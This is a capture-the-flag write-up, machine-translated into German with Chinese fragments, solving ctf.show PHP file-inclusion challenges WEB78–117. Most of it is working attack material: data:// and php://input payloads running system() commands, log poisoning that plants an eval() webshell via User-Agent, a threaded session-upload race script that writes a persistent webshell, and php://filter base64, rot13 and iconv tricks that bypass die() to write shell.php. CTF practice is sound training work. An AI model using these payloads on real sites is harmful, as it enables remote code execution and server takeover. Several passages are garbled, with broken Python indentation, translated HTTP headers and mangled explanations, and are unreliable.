Die Ctf-Show-WEB-Datei enthält Themen

Datei enthält (WEB78-117)

WEB 78

<?php
if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    include($file);
}else{
    
    
    highlight_file(__FILE__);
}

Methode 1:
Der Schlüsselteil ist include. $file kann hier durch Get-Parameter gesteuert werden. Da es keine Filterung gibt, gibt es hier viele Methoden.
Mithilfe des Datenprotokolls können Sie die Flagge auf intuitive und geordnete Weise erhalten

?file=data://text/plain,<?php system('ls');?> 可以获取当前目录文件发现有一个flag.php
?file=data://text/plain,<?php system('tac flag.php');?> 即可读取flag.php的中的内容。

Methode 2:
Versuchen Sie es zunächst mit ?file=…/…/flag.php und das Ergebnis ist, dass die Datei nicht eingebunden werden kann.
Versuchen Sie es erneut?file=flag.php und das Ergebnis ist nichts (zumindest wurde die Datei erfolgreich eingefügt), was darauf hinweist, dass flag.php vorhanden ist
Zu diesem Zeitpunkt können Sie Folgendes verwenden: ?file=php://filter/read=convert.base64-encode/resource=flag.php
Zu diesem Zeitpunkt wird ein Base64-Code zum Dekodieren angezeigt. Einen der Absätze gefunden:

$flag="ctfshow{6601f516-c571-468b-8c49-611a1f194f84}";

Es stellt sich heraus, dass flag.php nur ein Wert zugewiesen wurde. Kein Wunder, dass die Seite nach dem Einfügen nichts mehr anzeigt.
Zu diesem Zeitpunkt wurde die Flagge erhalten

WEB 79

<?php
if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    
    
    highlight_file(__FILE__);
}

Methode 1:
Diese Ebene filtert die eingehenden Parameter und filtert PHP heraus, hat jedoch keinen Einfluss auf die Methode zur Verwendung der vorherigen Ebene. Nachdem Sie die Qual der Befehlsausführungsprobleme erlebt haben, können Sie diese leicht umgehen.
?file=data://text/plain,<?=system('ls');?> Sie können die aktuelle Verzeichnisdatei abrufen und dort finden ist ein flag.php
?file=data://text/plain,<?=system('tac flag*');?> zum Lesen von Flag .php-Inhalt in.

Methode 2:
Funktion str_replace hinzugefügt, um „php“ durch „???“ zu ersetzen
Methode 1: Groß- und Kleinschreibung des Eingabeprotokolls umgehen POST /?file=Php://input HTTP/1.1
Nutzlast:

<?Php system("ls");?>

POST /?file=Php://input HTTP/1.1

<?Php system("cat flag.php");?>

#Schreiben Sie einfach die Anforderungszeile groß

Methode 2: Datenprotokoll + Umgehung mithilfe von PHP-Eigenschaften
Nutzlast:
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw == # <?php phpinfo(); ?file=data://text/plain,<?= `tac f*`;?>
?file=data:/ /text/plain,<?Php echo `tac f*`;?> # optional;

<?php ?> :php Standard-Start- und End-Tags <? ?> :short_open_tag muss aktiviert sein, d. h. short_open_tag = On. <%%>: asp_tags muss aktiviert sein, d. h. asp_tags = Ein. <?= ?>: Wird für die Ausgabe verwendet, entspricht -, kann direkt verwendet werden. <%= %>: Wird für die Ausgabe verwendet, entspricht -. Sie müssen asp_tags aktivieren, bevor Sie short_open_tag zur Steuerung von < verwenden können. ? ?> ;Beschriftung. Anstelle des <?= ?>-Tags wird für Ausgabevariablen das <?= ?>-Tag verwendet. Wenn short_open_tag aktiviert ist, funktioniert <? ?> genauso wie <?php ?>. Code-Startmarkierungstyp in PHP (,,,<% %>,<%= %>)
Methode drei: Datenprotokoll Base64-Verschlüsselung Nutzlast: /?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw== # <?php system('ls' ); /?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= # <?php system('cat flag.php');
$flag="ctfshow{215c725c-f7c4-4a46-ade0-9ca97ff4245f}";

WEB 80

<?php
if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    
    
    highlight_file(__FILE__);
}

Methode 1:
Diese Ebene filtert PHP und Daten und sollte die Verwendung von Pseudoprotokollen nicht zulassen, diese können jedoch normal durch Einbinden von Protokolldateien eingebunden werden.

Die Protokolldatei enthält URL- und UA-Informationen usw. Der UA ist hier am einfachsten zu steuern. Um den UA durch Erfassen des Pakets zu ändern, schreiben Sie einfach einen Satz. Die dritte Zeile unten

GET /?file=/var/log/nginx/access.log HTTP/1.1
Host: 4e9bb3c0-1021-427e-81a3-42e5e6e13c39.challenge.ctf.show< /span>
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0<?php eval($_GET[2]);?> Verbindung: schließen Sie können den Befehl direkt ausführen oder das Webshell-Backdoor-Tool zum Herstellen einer Verbindung verwenden Cookie: UM_distinctid=17ffcdc88eb73a-022664ffe42c5b8-13676d4a-1fa400-17ffcdc88ec82c DNT: 1 Accept-Encoding: gzip , entleeren Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3;q=0.8 /
Akzeptieren: text/html,application/xhtml+xml,application/xml;q=0.9,





?file=/var/log/nginx/access.log&2=system(‘ls /var/www/html’);phpinfo();

?file=/var/log/nginx/access.log&2=system(‘tac /var/www/html/fl0g.php’);phpinfo();

Sie können es finden, indem Sie nach der Information vor den PHPinfo-Informationen suchen.

Methode 2:
PHP und Daten wurden herausgefiltert und können daher nicht verwendet werden. Die POST-Methode kann jedoch weiterhin verwendet werden. Um nicht gefiltert zu werden, PHP: / Ändern Sie /input in PHP://input. Ändern Sie die GET-Methode in die POST-Methode. Fügen Sie am Ende eine Zeile hinzu. Der Inhalt ist der PHP-Code, der eingefügt werden muss. Der Zweck besteht hier darin, es zum ersten Mal auszuführen. Die Ausführung lautet:

POST /?file=PHP://input HTTP/1.1

Host: c3eaec6b-ca02-47ac-9577-2d884543b828.challenge.ctf.show User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0 Akzeptieren: text/html,application /xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh- HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 39

#《? php system(‘ls *.php’);? 》 (Es ist eine kleine spitze Klammer)

Das Ergebnis zeigt, dass es zwei Dateien gibt, eine ist fl0g.php und die andere ist index.php. Versuchen Sie es erneut, diesmal wird fl0g.php direkt angezeigt.

POST /?file=PHP://input HTTP/1.1

Host: c3eaec6b-ca02-47ac-9577-2d884543b828.challenge.ctf.show User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0 Akzeptieren: text/html,application /xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh- HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 39

#《? php system(‘tac fl0g.php’);? „Es sind die kleinen spitzen Klammern

Zu diesem Zeitpunkt kann der Inhalt von fl0g.php angezeigt werden. Es gibt eine Linie. $flag="ctfshow{13337e9c-4986-40c9-ae31-f44bcc68e9a1}"; um die Flagge zu erhalten

$flag="ctfshow{13337e9c-4986-40c9-ae31-f44bcc68e9a1}"; 

WEB 81

<?php
if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    
    
    highlight_file(__FILE__);
}

Methode 1:
Es können weiterhin Protokollinformationen vorhanden sein, wenn PHP, Daten und php://input fehlschlagen. Fügen Sie die Protokolldatei url?file=/var/log/nginx/access.log nach der URL hinzu

Zugriffsprotokollinformationen sind direkt auf der Seite enthalten. Senden Sie es dann an den Repeater. Ändern Sie zum ersten Mal den Wert von User-Agent in: „? php system('ls');? 》 (Hier gibt es kleine spitze Klammern) Senden Sie es zweimal und Sie erhalten: 172.12.0.6 - - [04/Apr/2023:14:43:42 +0000] "GET / HTTP/1.1" 200 2741 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0" 172.12.0.6 - - [04/Apr/2023:14:43:42 +0000] "GET /favicon.ico HTTP/1.1" 200 2741 "http://1e5d2acb-dcfa-41e3-a2c4-a2fe27b7a53d.challenge.ctf.show/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0" 172.12.0.6 - - [04/Apr/2023:14:44:10 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 399 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0" 172.12.0.6 - - [04/Apr/2023:14:46:07 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 586 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0" 172.12.0.6 - - [04/Apr/2023:14:47:11 +0000] "GET / HTTP/1.1" 200 2741 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0" 172.12.0.6 - - [04/Apr/2023:14:48:17 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 930 "-" "fl0g.php index.php
Sie können sehen, dass es zwei Dateien gibt, eine mit dem Namen fl0g.php und die andere mit dem Namen index.php um die Flagge zu erhalten $flag="ctfshow{dd09afcc-9325-42d5-9079-e063e78d72b4}";" /* . . . . . */ Der vorherige Teil wird weggelassen, genau wie oben.
Ändern Sie den Wert von User-Agent in: „? php system(‘cat fl0g.php’);? 》(Hier gibt es kleine spitze Klammern) Schicken Sie es 2 Mal und Sie erhalten es.



$flag="ctfshow{dd09afcc-9325-42d5-9079-e063e78d72b4}";"

WEB 82

<?php
if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    
    
    highlight_file(__FILE__);
}

Methode 1:
https://www.freebuf.com/vuls/202819.html Diese Frage ähnelt ein wenig der Frage, wie wmctf PHP wieder großartig macht und den Sitzungsdialog für die Dateieinbindung verwendet und Nutzung https://blog.csdn.net/qq_46091464/article/details/108021053

Methode 2:
Bedingter Wettbewerb: https://www.freebuf.com/articles/web/275557.html Kleine Ideen zur Sitzungsnutzung: https://xz.aliyun .com/t/10662

WEB 83


Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line 14
<?php
session_unset();
session_destroy();

if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);

    include($file);
}else{
    
    
    highlight_file(__FILE__);
}

Methode 1:

来自于网上的强大 脚本

import requests

import io

import threading

url = 'http://6733cf0a-5d30-4a8d-b3bf-eddcef8aaa55.challenge.ctf.show/' # 改成自己的url

sessionid = 'truthahn' # 设置PHPSESSID为truthahn,使生成的临时文件名为sess_truthahn

cookies = {
    
    

        'PHPSESSID':sessionid

    }
def write(session): # write()函数用于写入session临时文件

fileBytes = io.BytesIO(b'a'*1024*50)

data2 = {
    
    

    'PHP_SESSION_UPLOAD_PROGRESS':'<?=eval($_POST[1])?>'    # 设置sess_truthahn临时文件的内容为<?=eval($_POST[1])?> 实现一句话

}

files = {
    
    

    'file':('truthahn.jpg',fileBytes)

}

while True:    

    res = session.post(url,data=data2,cookies=cookies,files=files)

    print(res.text)

    print('======= write done! ======')
def read(session): # read()函数利用session临时文件生成一句话木马,实现rce

data1 = {
    
    

    "1":"file_put_contents('/var/www/html/4.php','<?=eval($_POST[2]);?>');"     # 使用file_put_contents()php内置函数生成名为3.php的shell文件

}

while True:

    res = session.post(url+'?file=/tmp/sess_'+sessionid,data=data1,cookies=cookies)

    print(res.text)

    res2 = session.get(url+'4.php')

    print(res2.text)

    if res2.status_code == 200:     #若3.php成功生成,则返回Done!,否则返回失败的状态码

        print('++++++++ Done! +++++++++')

    else:

        print(res2.status_code)
if name == 'main':

event = threading.Event()       

with requests.session() as session:     # 为每个函数设置5个线程并发执行

    for i in range(5):

        print('*'*50)

        threading.Thread(target=write,args=(session,)).start()

    for i in range(5):

        print('='*50)

        threading.Thread(target=read,args=(session,)).start()

event.set()
执行后,打开 url/4.php 。并POST 上

第一次

2=system('ls');

第二次

2=system('tac fl0g.php');

获得flag

Methode 2:

#poc.php
<!DOCTYPE html>
<html>
<body>
<form action="ip地址" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

WEB 84

<?php
if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    system("rm -rf /tmp/*");
    include($file);
}else{
    
    
    highlight_file(__FILE__);
}

Methode 1:
Auf Zahlung warten

Methode 2:

#poc.php
<!DOCTYPE html>
<html>
<body>
<form action="ip地址" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

WEB 85

<?php
if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    if(file_exists($file)){
    
    
        $content = file_get_contents($file);
        if(strpos($content, "<")>0){
    
    
            die("error");
        }
        include($file);
    }
    
}else{
    
    
    highlight_file(__FILE__);
}

Methode 1:
Auf Zahlung warten

Methode 2:

#poc.php
<!DOCTYPE html>
<html>
<body>
<form action="ip地址" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

WEB 86

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 21:20:43
# @email: [email protected]
# @link: https://ctfer.com

*/
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);

    
}else{
    
    
    highlight_file(__FILE__);
}

Methode 1:
Auf Zahlung warten

Methode 2:

#poc.php
<!DOCTYPE html>
<html>
<body>
<form action="ip地址" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

WEB 87

<?php
if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    
    
    highlight_file(__FILE__);
}

Methode 1:
Detaillierte Erläuterung der Web87-Lösung if(isset($_GET['file'])){ $file = $_GET['file']; (beim Posten erscheint Zeit, der Hauptteil folgt dem Beitrag) $content = $_POST['content']; (Dies zeigt an, dass es sich um den Inhaltsparameter handelt, nicht um die Konvertierung von php://file) $file = str_replace("php", "???" , $file); $file = str_replace(“data”, “???”, $file); $file = str_replace(“:”, “???”, $file); $file = str_replace(“. ", "???", f i l e ); f i l e p u t c o n t e n t s ( u r l d e c o d e ( file); file_put_contents(urldecode( file) ;fileputconten ts(ur ldökode (file), „“.$content); (Zweite URL-Kodierung, da sie nach der ersten Kodierung automatisch dekodiert wird (Middleware dekodiert automatisch), aber hier ist er Es braucht muss einmal dekodiert werden, da die Funktion geschrieben wird Datei, die geschrieben werden soll), Im geschriebenen Inhalt nimmt nur phpdie an der Base64-Dekodierung teil, da phpdie nur 6 Bytes hat und zwei A hinzugefügt werden, um 8 Bytes zu ergeben) (aaPD9waHAgc3lzdGVtKCdscycpOz8+) aa ist dasjenige vor dem Angebot (das Ergebnis ist phpdieaaPD9waHAgc3lzdGVtKCdscycpOz8+ (eine Gruppe von vier)) } else{ highlight_file(FILE);

Beachten Sie, dass die Verwendung von base64?file=php://filter/write=string.rot13/resource=5.php string.rot13 nicht erforderlich ist: Wenden Sie die ROT13-Kodierung (Zeichenersetzungsalgorithmus) an. (Durch die doppelte Verschlüsselung wird der Originaltext angezeigt.) file_put_contents Die Funktion file_put_contents schreibt einen String in eine Datei. Beispiel: file_put_contents("sites.txt", "Runoob"); write run to txt file_put_contents ( string $filename , Mixed $data [, int $flags = 0 [, resources $context ]] )

"".$content $str1 = "Hello"; $str2 = "World"; $newStr = $str1 . $str2; // Das Ergebnis ist "HelloWorld"

Vergleich zwischen Get und Post

法2:
https://www.leavesongs.com/PENETRATION/php-filter-magic.html https://xz.aliyun.com/t/8163# toc-3 php://filter/write=string.rot13/resource=2.php

%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25% 36%39%25%36%63%2
5%37%34%25%36%35%25%37%32%25%32%66%25%37%37% 25%37%32%25%36%39%25%37%34%25%36%35%25%
33%64%25%36%33%25%36%66 %25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36
% 32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35% 25%36%3
3%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36% 35%25%37%33%25%36%66%25%37%35%
25%37%32%25%36%33%25%36%35%25%33 %64%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30
Denn nach dem Filtern durch base64 gibt es nur noch (phpdie)6 Zeichen, wir müssen 2 Zeichen hinzufügen, damit die vorherigen codiert werden können

Methode 3:
Herkömmlicher Death-Exit, Ersatz durch sekundäre Codierung umgehen. Meine Konstruktionsmethode besteht darin, einmal manuell zu codieren und dann % erneut zu codieren, um Folgendes zu erstellen: /?file=%2570 %68%70%253a//filter/write=convert%252ebase64-decode/resource=shell%252e%70%2568%70

Der übermittelte Inhalt ist ------WebKitFormBoundaryxxjx0zR0LaGW5ZOW Content-Disposition: form-data; name="content"

ppPD9waHAgcGhwaW5mbygpO2V2YWwoJF9HRVRbJ2NtZCddKTs/Pg== Das pp hier wird hinzugefügt, nur zwei Zeichen reichen aus, aber = kann nicht verwendet werden, da = am Ende ein Vielfaches ist und nicht am Anfang verwendet werden kann.

WEB 88

<?php
if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
    
    
        die("error");
    }
    include($file);
}else{
    
    
    highlight_file(__FILE__);
}

Methode 1:
Es wird festgestellt, dass es immer noch viele Filter gibt, aber keine Filterung: Dann können wir das PHP-Pseudoprotokoll verwenden. Die data://text/ plain;base64 wird hier verwendet, poc ähnelt tatsächlich 79. Beachten Sie nur, dass es beim Codieren in base64= entfernt werden muss

法2:
data://text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pO3BocGluZm8oKTskX0dFVDs/PjEx&cmd=system(‘tac+fl0g.php’);

Der Hauptgrund besteht darin, dass das Datenprotokoll bei der Erstellung von Base64 keine =- und +-Zeichen enthalten darf. Versuchen Sie, es ein paar Mal zu erstellen. Fügen Sie nach dem Ende von ?> Zeichen hinzu, um = zu eliminieren.

WEB 116

Video

Methode 1:
Durchsuchen Sie PNG, um das zu finden, das mit 89 beginnt, durchsuchen Sie dann IEDN, bis es mit 82 endet, exportieren Sie PNG, analysieren Sie den Quellcode
und stellen Sie fest, dass die Dateivariable Enthält. Versuchen Sie es direkt mit?file=/flag.php, um die Flagge abzurufen

WEB 117

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    
    
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
    
    
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

法1:
Nutzlast: file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php post:contents= ?<hp pvela$(P_SO[T]1;)>?

Methode 2:
Das reguläre Filterprotokoll wird nicht gefiltert und der Todesausgang wird weiterhin durch das Filterprotokoll umgangen?file=php://filter/write=convert.iconv .UCS-2LE. UCS-2BE/resource=shell.php
Der Inhalt des Beitrags?<hp pvela$(G_TE'[mc'd)]?;>> Eins mehr> soll verhindern, dass ein Fehler gemeldet wird, >nicht außerhalb des Tags analysiert
wird Shell.php generieren, das Passwort ist cmd und Sie können das Flag erhalten

Guess you like

Origin blog.csdn.net/qq_45707966/article/details/133492843